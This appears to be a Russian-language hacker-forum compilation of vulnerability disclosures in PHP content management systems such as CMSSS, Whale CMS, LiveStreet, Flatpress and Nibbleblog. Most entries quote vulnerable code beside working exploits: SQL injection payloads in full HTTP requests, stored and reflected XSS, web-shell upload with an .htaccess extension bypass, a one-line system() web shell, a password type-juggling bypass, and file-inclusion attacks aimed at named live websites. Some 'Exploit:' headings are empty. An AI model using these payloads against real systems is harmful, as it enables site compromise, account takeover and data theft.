CMS MaxSite Version 0.862 - последняя версия! Официальный сайт http://www.max-3000.com passive XSS (reflected) в заголовке Referer Уязвимости на странице с формой регистрации и странице авторизации. Вектор проведения атаки идентичен, поэтому рассмотрю только страницу авторизации. 127.0.0.1/MaxSite/application/maxsite/templates/default/components/_login/_login.php PHP: <form method="post" action="' . $MSO->config['site_url'] . 'login" name="flogin"> <input type="hidden" value="' . $MSO->config['site_url'] . mso_current_url() . '" name="flogin_redirect"> <input type="hidden" value="' . $MSO->data['session']['session_id'] . '" name="flogin_session_id"> Exploit:
DiT CMS Версия 2.1.2 (последняя!) Официальный сайт http://dit-cms.ru SQL Injection Уязвимый сценарий: search.php Уязвимый параметр: dit_search_string_content Вектор: error-based Уязвимый код: PHP: if ($_POST["dit_search_string_content"] != NULL) { $search = $_POST["dit_search_string_content"]; $query = "SELECT * FROM ".db_prefix."_part WHERE header_".lang_system." LIKE '%{$search}%' OR desc_".lang_system." LIKE '%{$search}%' "; $data = mysql_query($query) or die (mysql_error()); $result = array(); Exploit: passive XSS (reflected) в том же параметре Exploit:
ECShop V2.7.3 Официальный сайт http://ecshop.com (разработана в Поднебесной) Исследовал на демо-версии. passive XSS (reflected) в Referer Отправляем пакет:
CMS Bagira Версия 1.1.7b (последняя) Официальный сайт http://bagira-cms.ru/ SQL Injection Уязвимый сценарий: ormPage.php Уязвимый параметр: pseudo_url Зависимости: mq=off Вектор: error-based Уязвимый код: PHP: if ($pseudo_url !== false) { $parent_id = $this->getParentId(); $s = (empty($this->id)) ? '' : 'p_obj_id <> "'.$this->id.'" and '; $s .= (empty($parent_id)) ? 'r_parent_id is NULL' : 'r_parent_id = "'.$parent_id.'"'; $sql = 'SELECT count(p_obj_id) FROM <<pages>>, <<objects>>, <<rels>> WHERE pseudo_url = "'.$pseudo_url.'" and lang_id = "'.languages::curId().'" and domain_id = "'.domains::curId().'" and r_children_id = p_obj_id and '.$s.' and o_id = p_obj_id and o_to_trash = 0;'; $count = db::q($sql, value); Exploit: passive XSS(reflected) в строке поиска: Exploit:
CMS WysGui 2.3 Официальный сайт http://wysgui.com SQL Injection Уязвимый сценарий: pageData.php Зависимости: mq=off Вектор: error-based Уязвимый код: PHP: ... $this->connect(); $select = 'SELECT * FROM pagedata WHERE pageURL = "'.$this->url.'" LIMIT 1'; $query = mysql_query($select) or die(mysql_error()); ... Exploit:
cms CMSSS 1.8 (с названием не заморачивались ) Официальный сайт http://cmsss.all4all.cz Демо-версия http://cms.all4all.cz SQL Injection Уязвимый сценарий: modules/pol/index.php Зависимости: mq=off Вектор: union-query Уязвимый код: PHP: ... $result = $db->query("SELECT * FROM cmsss_poll_polls"); while($row = $db->fetch_array($result)) { $row_votes = $db->fetch_row("SELECT * FROM cmsss_poll_votes WHERE poll_id = '" . $row['id'] . "'"); for($x = 0; $x < 12; $x++) { if(!empty($row["option$x"])) { $vote_count += $row_votes["option$x"]; } } ... PoC: SQL Injection Уязвимый сценарий: /modules/forum/view_topic.php Зависимости: mq=off Вектор: union-query Уязвимый код: ... PHP: // get value of id that sent from address bar $id=$_GET['id']; $sql="SELECT * FROM $tbl_name WHERE id='$id'"; $result=mysql_query($sql); $rows=mysql_fetch_array($result); ... PoC: active XSS (stored) Проблема в том, что при создании темы ни один из параметров не обрабатывается должным образом. Все поля пропускают "><script>alert(1)</script>, который с радостью записывается в БД: PHP: $topic=$_POST['topic']; $detail=$_POST['detail']; $name=$_POST['name']; $email=$_POST['email']; $kontrola=$_POST['kontrola']; $datetime=date("d.m.y H:i:s"); //create date time if($kontrola != "ano") { $sql="INSERT INTO $tbl_name(topic, detail, name, email, datetime)VALUES('$topic', '$detail', '$name', '$email', '$datetime')"; $result=mysql_query($sql); Соответственно, пользователь, решившый посмотреть топик, получит себе, как минимум alert. Вы правильно заметили, что тут еще можно провести sql injection, но 2-х инъекций, описанных выше, пока достаточно. reflected XSS В данном движке огромное количество reflected XSS(пассивок), искать долго не нужно, например тот же параметр id из 2-ой описанной sql-инъекции. PHP: <td><input name="id" type="hidden" value="<? echo $id; ?>"></td> PoC: Ну и Shell Upload Зависимости: права администратора 1. Administration module ==> Downloads ==> File Create ==> Профит Создаем файл с shell.php, вписываем мини-шелл, обращаемся, соответственно: site.com/modules/download/soubor/shell.php?=phpinfo(); 2. Напрямую грузим файл через форму Upload. Мега-функция проверяет наше расширение: PHP: function is_script ($filename) { return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); Обход стандартный: грузим .htaccess с нужным AddType или AddHandler, ну, а потом наш файл, например shell.phtml
Заливка шелла в magento: 1. через site.com/downloader устанавливаем модуль File System ( http://www.magentocommerce.com/magento-connect/file-system.html ) 2. заливаем шелл изменяя ненужный файл
CMS: Whale CMS 1.0 Сайт: https://www.whale-cms.de Админ панель: /backend/ Логин/пароль администратора: SELECT name, passwort from [PREFIX]_users; SQL Injection и Reflected XSS: Зависимости: MQ = OFF /sys/template/include/suchen.php PHP: ... $newssuche = $_POST['newssuche']; echo "<b>Du hast nach dem Beitragtitel: \"<u>$newssuche</u>\" gesucht. Dadurch wurden folgende Einträge gefunden:</b><br /><br />"; $newssuche_abfrage = mysql_query("SELECT * FROM ".$prefix."news WHERE titel LIKE '%".$newssuche%."%' ORDER BY id DESC LIMIT 5"); $newssuche_ergebnis = mysql_query($newssuche_abfrage) or die(mysql_error()); ... Эксплоит: Code: POST /?page=Home&action=suchen HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 85 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: localhost User-Agent: ' Content-Type: application/x-www-form-urlencoded Referer: http://localhost/?page=Home Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14 newssuche=' union select 1,2,3,4,version(),6,7,8,9,10,11-- Stored XSS и Error-Based SQL Injection: /sys/template/include/newscontent.php PHP: if($_GET['action'] == "neueskommentarposten") { $newskommitext = $_POST['kommentartext']; $newskommiautor = $_POST['kommentarautor']; ... $qu8 = mysql_query("INSERT INTO ".$prefix."newskommentar (text, autor, datum, newsID) VALUES ('".$newskommitext."','".$newskommiautor."', '".$newskommidatum."', '".$newskomminewsID."')"); if($qu8 == true) { ... } else { echo mysql_error(); } Эксплоит: Code: POST /?page=News&id=35&action=neueskommentarposten HTTP/1.1 Host: localhost Connection: keep-alive Content-Length: 65 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: localhost User-Agent: ' Content-Type: application/x-www-form-urlencoded Referer: http://localhost/?page=News&id=35 Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14 kommentarautor="><script>alert(/XSS/)</script>&kommentartext=test
LiveStreet 2.1.0 Сайт - livestreetcms.com #1 Bypass Auth(Type Jugling) Рандомный обход проверки подлинности пароля, используя особенности гибкого сравнения в PHP. Залогиниться возможно от юзера, чей пасс в md5 соответсвует 0e[0-9]{30}. Логинимся с пассом 240610708 - треш бага. Code: application/classes/actions/ActionAuth.class.php:116 ---------------------------------------------------- /** * Сверяем хеши паролей и проверяем активен ли юзер */ if ($this->User_VerifyAccessAuth($oUser) and $oUser->verifyPassword(getRequest('password'))) { ---------------------------------------------------- application/classes/modules/user/entity/User.entity.class.php:655 ---------------------------------------------------- public function verifyPassword($sPassword) { return $this->User_VerifyPassword($sPassword, $this->getPassword()); } ---------------------------------------------------- application/classes/modules/user/User.class.php:1955 ---------------------------------------------------- public function VerifyPassword($sPassword, $sHash) { return $this->MakeHashPassword($sPassword) == $sHash; // уязвимая точка } ---------------------------------------------------- #2 Stored XSS В поле имя в настройках профиля, ограничение поля - 30 символов. Code: application/classes/actions/ActionSettings.class.php ----------------------- ... if (func_check(getRequestStr('profile_name'), 'text', 2, Config::Get('module.user.name_max'))) { $this->oUserCurrent->setProfileName(getRequestStr('profile_name')); } else { $this->oUserCurrent->setProfileName(null); } ... ----------------------- #3 Reflected XSS(в админ плагине) Необходим установленный плагин админки. Code: livestreet2/admin/users/list/?filter[id]="><script>alert()</script> /livestreet2/admin/users/admins/?filter[id]="><script>alert()</script> livestreet2/admin/users/list/?filter[password]="><script>alert()</script> и так далее Code: application/plugins/admin/classes/actions/admin/EventUsers.class.php ----------------------- protected function GetUsersListByRules($sFullPagePathToEvent, $aAdditionalUsersFilter = array()) ... $aValidatedSearchRules = $this->GetSearchRule($this->GetDataFromFilter()); ... ----------------------- application/plugins/admin/classes/actions/admin/ActionAdmin.class.php ----------------------- protected function GetDataFromFilter($sName = null) { /* * получить фильтр, хранящий в себе все параметры (разрезы показа, сортировку, поиск и др.) */ if ($aFilter = getRequest('filter') and is_array($aFilter)) { /* * если нужны все значения фильтра */ if (!$sName) { return $aFilter; } /* * если нужно выбрать одно значение из фильтра */ if ($sName and isset($aFilter[$sName]) and $aFilter[$sName]) { return $aFilter[$sName]; } } return null; } ----------------------- #3,1 Cookie HttpOnly Bypass(с помощью админ плагина) Необходим установленный плагин админки. В сорцах выводится PHPSESSID, этого достаточно для Session Hijacking. Code: application/plugins/admin/frontend/skin/default/layouts/layout.base.tpl ----------------------- ... <script> var PATH_ROOT = '{Router::GetPath('/')}', PATH_SKIN = '{Config::Get("path.skin.web")}', PATH_FRAMEWORK_FRONTEND = '{Config::Get("path.framework.frontend.web")}', PATH_FRAMEWORK_LIBS_VENDOR = '{Config::Get("path.framework.libs_vendor.web")}', /** * Для совместимости с прошлыми версиями. БУДУТ УДАЛЕНЫ */ DIR_WEB_ROOT = '{Config::Get("path.root.web")}', DIR_STATIC_SKIN = '{Config::Get("path.skin.web")}', DIR_STATIC_FRAMEWORK = '{Config::Get("path.framework.frontend.web")}', DIR_ENGINE_LIBS = '{Config::Get("path.framework.web")}/libs', LIVESTREET_SECURITY_KEY = '{$LIVESTREET_SECURITY_KEY}', SESSION_ID = '{$_sPhpSessionId}', SESSION_NAME = '{$_sPhpSessionName}', LANGUAGE = '{Config::Get('lang.current')}', WYSIWYG = {if Config::Get('view.wysiwyg')}true{else}false{/if}; var aRouter = []; {foreach $aRouter as $sPage => $sPath} aRouter['{$sPage}'] = '{$sPath}'; {/foreach} </script> ... ----------------------- #3,2 Full Path Disclosure livestreet2/admin/utils/cron/ Code: Внимание! Для работы планировшика нужно на вашем сервере добавить скрипт /var/www/html/livestreet2/application/utilities/cron/main.php в cron с запуском 1 раз в 5 минут. Cron необходимо добавить от имени пользователя, под которым работает ваш веб-сервер. Это позволит избежать проблем с правами. За подробностями работы с cron обратитесь к вашему системному администратору или хостеру.
Уязвимая библиотека xBBCode (xBB) Local File include - проверено в 0.28-0.29 Code: $lang = isset($_GET['lang']) ? $_GET['lang'] : 'default'; if (! is_file('./i18n/'.$lang.'/lang.php')) { $lang = 'default'; } require_once './i18n/default/lang.php'; if ('default' != $lang) { include_once './i18n/'.$lang.'/lang.php'; } Пример эксплуатации: frs24.ru/blocks/bbcode/xbb.php?state=plain&lang=../index.php%00 hackzone.ru/scripts/bbcode/index.php
Flatpress 1.2 Сайт - flatpress.org Показалось забавным - пусть здесь побудет. Аплоад в админке. Есть какие-то проверки, блек лист, но мы все равно можем загрузить php. Суть в том, что проверка расширения происходит у tmp файла php[\da-zA-Z]{6} если быть точнее, до нее не доходит, так как расширения нет. Ну и плюс проверка mime-типа такой констркуцией PHP: $finfo = finfo_open(FILEINFO_MIME_TYPE);$mime = finfo_file($finfo, __FILE__);finfo_close($finfo); возвращает text/x-php для PHP: <?php ... однако, вернет text/plain для PHP: <?=... чем мы соответсвтенно и воспользуемся ниже. admin/panels/uploader/admin.uploader.php PHP: function onupload() { $success = false; if (!user_loggedin()) { utils_redirect("login.php"); die(); } if (!file_exists(IMAGES_DIR)) fs_mkdir(IMAGES_DIR); if (!file_exists(ATTACHS_DIR)) fs_mkdir(ATTACHS_DIR); $blacklist_extensions = array( 'htaccess', 'phtml', 'php', 'php3', 'php4', 'php5', 'php6', 'php7', 'phps', 'cgi', 'exe', 'pl', 'asp', 'aspx', 'shtml', 'shtm', 'fcgi', 'fpl', 'jsp', 'htm', 'html', 'wml' ); $imgs = array( '.jpg', '.gif', '.png', '.jpeg' ); $uploaded_files = array(); foreach ($_FILES ["upload"] ["error"] as $key => $error) { if ($error == UPLOAD_ERR_OK) { $tmp_name = $_FILES ["upload"] ["tmp_name"] [$key]; // #1 ===================================== $name = $_FILES ["upload"] ["name"] [$key]; $dir = ATTACHS_DIR; $uploadfilename = strtolower($tmp_name); // #2 ===================================== $isForbidden = false; $deeptest = array(); $extcount = 0; $deeptest = explode('.', $uploadfilename); // #3 ===================================== $extcount = count($deeptest); if ($extcount == 1) { // #4 проверка пройдена ===================================== $isForbidden = false; } elseif ($extcount == 2) { $check_ext1 = ""; $check_ext1 = trim($deeptest [1], "\x00..\x1F"); if (in_array($check_ext1, $blacklist_extensions)) { $isForbidden = true; } else { $isForbidden = false; } } elseif ($extcount > 2) { $check_ext1 = ""; $check_ext2 = ""; $check_ext1 = trim($deeptest [$extcount - 1], "\x00..\x1F"); if (in_array($check_ext1, $blacklist_extensions)) { $isForbidden = true; } else { $isForbidden = false; } if (!$isForbidden) { $check_ext2 = trim($deeptest [$extcount - 2], "\x00..\x1F"); if (in_array($check_ext2, $blacklist_extensions)) { $isForbidden = true; } else { $isForbidden = false; } } } if ($isForbidden) { $this->smarty->assign('success', $success ? 1 : -1); sess_add('admin_uploader_files', $uploaded_files); return -1; } if (version_compare(PHP_VERSION, '5.3.0') < 0) return -1; if (!function_exists('finfo_open')) return -1; $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $tmp_name); finfo_close($finfo); if (($mime == "text/x-php") || ($mime == "text/html")) { // #5 <?=system($_GET['a'])?> ===================================== $this->smarty->assign('success', $success ? 1 : -1); sess_add('admin_uploader_files', $uploaded_files); return -1; } $ext = strtolower(strrchr($name, '.')); if (in_array($ext, $imgs)) { $dir = IMAGES_DIR; } $name = sanitize_title(substr($name, 0, -strlen($ext))) . $ext; $target = "$dir/$name"; @umask(022); $success = move_uploaded_file($tmp_name, $target); @chmod($target, 0766); $uploaded_files [] = $name; $success &= $success; } } if ($uploaded_files) { $this->smarty->assign('success', $success ? 1 : -1); sess_add('admin_uploader_files', $uploaded_files); } return 1; }
Nibbleblog <= 4.0.5 LFI 2 Auth bypass Code: POST /?controller=/../../../admin/controllers/post&action=new HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4147.105 Safari/537.36 Content-Type: application/x-www-form-urlencoded title=Boom!&content=<script>alert("hek");</script> ./admin/boot/rules/5-url.bit: PHP: ...if( isset($_GET['controller']) ){ $url['controller'] = Validation::sanitize_html($_GET['controller']); }if( isset($_GET['action']) ) { $url['action'] = Validation::sanitize_html($_GET['action']); }... ./admin/boot/rules/98-blog.bit: PHP: ...$layout['controller'] = $url['controller'].'/'.$url['action'].'.bit';... ./index.php: PHP: ...if(file_exists(THEME_CONTROLLERS.$layout['controller'])) require(THEME_CONTROLLERS.$layout['controller']);...